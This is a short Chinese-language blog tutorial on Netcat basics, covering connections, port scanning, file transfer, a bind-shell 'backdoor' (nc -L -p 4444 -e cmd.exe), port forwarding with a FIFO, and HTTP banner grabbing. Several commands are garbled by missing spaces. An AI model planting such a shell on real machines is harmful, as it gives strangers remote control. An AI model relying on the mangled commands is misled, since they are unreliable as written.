Netcat基础

2021-12-17 12:15:16 浏览数 (1)

Netcat被成为TCP/IP中的瑞士军刀,几乎可以完成网络操作中的任何操作。Nmap团队开发了Ncat作为Netcat的升级版,因为Netcat的作者在96年发布稳定版以后就放弃维护了。

1、网络连接

代码语言:javascript复制
nc mail.server.net 25

类似于Telnet的功能,向25号TCP端口发起连接

2、端口扫描

代码语言:javascript复制
nc -v -z hostnameport[s]

相比Nmap来说,NC的扫描实在太弱了,所以端口扫描依旧推荐使用Nmap进行

3、文件传输

它可以像Cat命令一样将读取的文件重定向到网络上的另外的文件。Netcat在网络应用中既可以当做服务器端,开启本机一个监听端口,也可以作为客户端向其他服务器端口发起连接。所以,文件传输,即是在两端分别运行Netcat。

代码语言:javascript复制
nc -L -p 4444 >receivedfile.zip

此处-L启动监听模式(即作为服务器端),开启4444端口,将接受到的数据写入到文件somefile.zip中。而在发送端,只需连接该服务器端开放的端口,并选择需要发送的文件。

代码语言:javascript复制
nc 192.168.1.43 4444 <testfile.zip

4、开启后门

代码语言:javascript复制
nc -L -p 4444 -e cmd.exe

以监听模式启动Netcat,开启TCP端口4444,在与客户端成功建立连接后,执行cmd.exe程序(-e cmd.exe,此处为用户打开命令行执行窗口,用户可以通过命令操作此计算机)。在客户端,直接连接目标机的4444端口即可。

代码语言:javascript复制
nc 192.168.1.43 4444

5、端口转发

代码语言:javascript复制
mkfifobackpipe
nc-l 12345  0<backpipe | ncwww.google.com 801>backpipe

此处开启端口12345,作为www.google.com的代理。其他无法直接登陆google的用户可以通过此代理端口来与google进行交互。这里创建了一个fifo,是为实现双向数据通讯,因为管道运算符本身是单向的。

6、标语提取

首先创建一份文件,包含以下文本:

代码语言:javascript复制
HEAD / HTTP/1.0

<return>

<return>

然后将此文件发送到目标服务器的80端口,诱发对方发送HTTP首部数据。然后从output.txt可以查看对方发送的HEAD标语信息。

代码语言:javascript复制
cat file>nc -vv -w 2 www.cnn.com 80 >output.txt

版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/1920457

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

0 人点赞